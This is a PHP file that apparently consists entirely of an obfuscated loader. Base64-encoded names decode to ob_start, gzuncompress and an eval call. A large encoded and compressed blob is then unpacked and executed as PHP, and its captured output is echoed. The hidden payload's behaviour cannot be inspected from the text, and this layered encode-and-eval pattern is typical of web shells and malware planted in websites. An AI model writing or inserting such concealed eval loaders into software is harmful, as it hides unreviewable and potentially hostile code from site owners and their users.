$_='016f9584';
$__='printf';
$_____='b2JfZW5kX2NsZWFu';
$______________='cmV0dXJuICAgIGV2YWwoJF8pOw==';
$__________________='X19vbWVnYQ==';
$______=' Z3p1bmNvbXByZXNz';
$___=' b2Jfc3RhcnQ=';
$____='b2JfZ2V0X2NvbnRlbnRz';
$__= 'base64_decode' ;
$______=$__($______);
if(!function_exists('__omega')){
function __omega($_oA,$_oS){
return eval("return function($_oA){
{
$_oS
}
};
");
}
}
$__________________=$__($__________________);
$______________=$__($______________);
$__________=$__________________('$_',$______________);
$_____=$__($_____);
$____=$__($____);
$___=$__($___);
$_='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';
$___();
$__________($______($__($_)));
$________=$____();
$_____();
echo $________;
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